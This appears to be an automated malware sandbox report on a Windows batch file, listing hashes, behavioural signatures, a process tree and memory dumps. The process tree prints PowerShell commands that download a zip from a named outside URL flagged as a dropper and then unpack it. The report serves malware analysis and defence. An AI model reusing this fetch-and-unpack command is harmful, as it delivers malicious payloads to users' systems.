3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
118s
max time network
125s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
19/11/2023, 06:55

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General

Target

tesy - Copy (7).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2064	powershell.exe
6	2064	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2064	powershell.exe
2632	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2064	powershell.exe
Token: SeDebugPrivilege	2632	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2104 wrote to memory of 2064	2104	cmd.exe	29
PID 2104 wrote to memory of 2064	2104	cmd.exe	29
PID 2104 wrote to memory of 2064	2104	cmd.exe	29
PID 2104 wrote to memory of 2632	2104	cmd.exe	32
PID 2104 wrote to memory of 2632	2104	cmd.exe	32
PID 2104 wrote to memory of 2632	2104	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2632

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
7efa384fec291dec2a8964f120406f3c

SHA1
3631a1cd36107485ccb298388bbab79da216d8ce

SHA256
e6490e40c6a35f3a67a7d9a18010dba4c6d0146cc668d0753895553ce0cece45

SHA512
58e806bc75bc5223fa7d0be5ad8b847b1d92da815c5f20420e6b0b53531e563e006955a7122adac429f7dabbadff93d552d41ac370626ecb06131f254086b411

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LSX94Y0JQHVIRJWP1I2X.temp

Filesize
7KB

MD5
cc85c852d23bb8ac5ade2ac40bc3a24a

SHA1
e9c4097173a0f2ce28bdfdad0dbda8ac3ae92302

SHA256
403837e5f5a490b12e014b0c86ed7e0848e4e0613dbabfe6644275b45ddecaff

SHA512
106e844525fb4c5513f35587f28a7b7b105759ac7e3fcd3a6406ed4c65d851cf430a14d044301872039839efebdaae64cebdf3cd1da3f05524dfd711765c359e

Download Submit
memory/2064-14-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2064-5-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

Filesize
32KB

Download
memory/2064-8-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2064-9-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2064-10-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2064-11-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2064-12-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2064-13-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2064-4-0x000000001B3C0000-0x000000001B6A2000-memory.dmp

Filesize
2.9MB

Download
memory/2064-16-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2064-6-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2064-7-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2632-22-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

Filesize
2.9MB

Download
memory/2632-24-0x0000000002470000-0x0000000002478000-memory.dmp

Filesize
32KB

Download
memory/2632-23-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

Filesize
9.6MB

Download
memory/2632-25-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/2632-26-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

Filesize
9.6MB

Download
memory/2632-27-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/2632-28-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/2632-29-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/2632-30-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

Filesize
9.6MB

Download